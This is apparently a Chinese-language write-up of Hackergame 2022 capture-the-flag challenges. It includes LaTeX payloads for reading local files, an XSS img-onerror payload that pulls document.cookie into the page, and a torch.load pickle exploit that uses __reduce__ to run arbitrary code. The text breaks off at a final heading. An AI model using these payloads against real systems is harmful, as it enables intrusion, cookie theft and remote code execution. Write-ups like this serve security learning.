官方 wp: https://github.com/USTC-Hackergame/hackergame2022-writeups

杂项

猫咪问答

利用 ssh key finger 查找域名,这里使用Shodan

github 仓库内搜索

猜数字

java 真随机数,无法预测下一个

这题考察的是浮点数的比较,对于任意 a,a != NaN成立,但 a < NaN 或 NaN < a均不成立,再根据判断逻辑,直接传 NaN 即可

web

LaTeX 机器人

https://github.com/swisskyrepo/PayloadsAllTheThings,包含各种 payload

使用了 pdflatex 工具,但是禁掉了 write18

pdflatex -interaction=nonstopmode -halt-on-error -no-shell-escape result.tex

读取本地文件,input 有特殊字符会报错,这里用逐字包含,或者其它的很多解法

% verbatim包,没复现成功
$$
\makeatletter
这里放 verbatim.sty 的内容,记得删掉行末的 %
\makeatother
\verbatiminput{/flag2}
$$

% catcode 特殊字符转义
$$
\catcode`\#=\active
\def #{\#}
\catcode`\_=\active
\def _{\_}
\texttt{\input{/flag2}}
$$

% detokenize
$$
\newread\myread
\openin\myread=/flag2
\read\myread
to\fileline
\detokenize\expandafter{\fileline}
$$

flag 的痕迹

算是 Dokuwiki 的一个漏洞吧 😥,在历史记录功能关闭的情况下,仍然可以通过 diff 查看历史记录

http://202.38.93.111:15004/doku.php?id=start&do=diff

甚至直接 google 就能搜到解决方案

微积分计算小练习

竟然是难得一见的 xss 利用,下面是机器人代码

# Copyright 2022 USTC-Hackergame
# Copyright 2021 PKU-GeekGame

LOGIN_URL = f'http://web/?bot={BOT_SECRET}'

print('Please submit your quiz URL:')
url = input('> ')

parsed = urllib.parse.urlparse(url)
parsed = parsed._replace(netloc="web", scheme="http")
url = urllib.parse.urlunparse(parsed)

print(f"Your URL converted to {url}")

with webdriver.Chrome(options=options) as driver:
ua = driver.execute_script('return navigator.userAgent')
print(' I am using', ua)

print('- Logining...')
driver.get(LOGIN_URL)
time.sleep(4)

print(' Putting secret flag...')
driver.execute_script(f'document.cookie="flag={FLAG}"')
time.sleep(1)

print('- Now browsing your quiz result...')
driver.get(url)
time.sleep(4)

greeting = driver.execute_script(f"return document.querySelector('#greeting').textContent")
score = driver.execute_script(f"return document.querySelector('#score').textContent")
print("OK. Now I know that:")
print(greeting)
print(score)

print('- Thank you for joining my quiz!')

测试基础 xss,把用户名改了,使用 innerHTML 插入的<script>标签不会被执行,不过<img src=1 onerror=alert(1)>可以正常弹窗

看机器人代码,把 flag 放到了 cookie 里,然后访问我们提交的 url,获取 greeting 和 socre 的值,并把用户名和分数打印出来,我们直接构造用户名部分

<img src=a onerror='var a=document.cookie;document.querySelector("#score").textContent=a;'>

把 cookie 放到了 score 里,就能打印出来了

甚至我们可以直接更改它的 result 参数,把分数改了,让用户名显示正确

<img src=1 onerror='var a=document.cookie;document.querySelector("#score").textContent=a;'>:hdh

然后编码

http://202.38.93.111:10056/share?result=PGltZyBzcmM9MSBvbmVycm9yPSd2YXIgYT1kb2N1bWVudC5jb29raWU7ZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3Njb3JlIikudGV4dENvbnRlbnQ9YTsnPjpoZGg=

二次元神经网络

一开始以为是神经网络的题目,这个我也不是很懂,代码拉下来,跑了半天 loss 都不变,后来才知道样本太少了,这实际是个pickle题目,原来 web 题还可以这样出 🤣。

我们传的模型会被 infer 来验证,主要逻辑如下

def infer(pt_file):
# load input data
tag_ids = torch.load("dataset/tags_10.pt", map_location="cpu")

# args
n_tags = 63
dim = 8
img_shape = (64, 64, 3)

# load model
model = SimpleGenerativeModel(n_tags=n_tags, dim=dim, img_shape=img_shape)
model.load_state_dict(torch.load(pt_file, map_location="cpu"))

# generate noise
torch.manual_seed(0)
n_samples = tag_ids.shape[0]
noise = torch.randn(n_samples, dim)

# forward
with torch.no_grad():
model.eval()
predictions = model(noise, tag_ids).clamp(0, 1)

gen_imgs = []
for i in range(n_samples):
out_io = io.BytesIO()
matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png")
png_b64 = base64.b64encode(out_io.getvalue()).decode()
gen_imgs.append(png_b64)

# save the predictions
json.dump({"gen_imgs_b64": gen_imgs}, open("/tmp/result.json", "w"))

加载模型并根据标签生成预测图片写入/tmp/result.json中,如果能把原图当成预测图传入/tmp/result.json就好了。torch.load(pt_file, map_location="cpu")存在 pickle 反序列化漏洞,可以利用来 rce,构造一个用来写入数据的 payload

open('/tmp/result.json', 'w').write('{"gen_imgs_b64": {gen_imgs}}')

之后构造类,利用__reduce__方法来 eval,payload 如下

import io
import json
import base64

import torch
import matplotlib
import matplotlib.image

# 加载正确答案
PIXEL_FILE="./dataset/pixels_10.pt"
predictions = torch.load(PIXEL_FILE, map_location="cpu")

# 生成 base64 格式的数据
gen_imgs = []
for i in range(10):
out_io = io.BytesIO()
matplotlib.image.imsave(out_io, predictions[i].numpy(), format="png")
png_b64 = base64.b64encode(out_io.getvalue()).decode()
gen_imgs.append(png_b64)

content = json.dumps({"gen_imgs_b64": gen_imgs})

# 构造要执行的 python 代码
args = "open('/tmp/result.json', 'w').write('" + content.replace('\\', '\\\\').replace("'", "\\'") + "')"

# print(args)

# 通过 __reduce__ 方法执行 python 代码
class Exploit(object):
def __reduce__(self):
return (eval, (args,))

torch.save(Exploit(), "model_exp.pt")

你先别急

re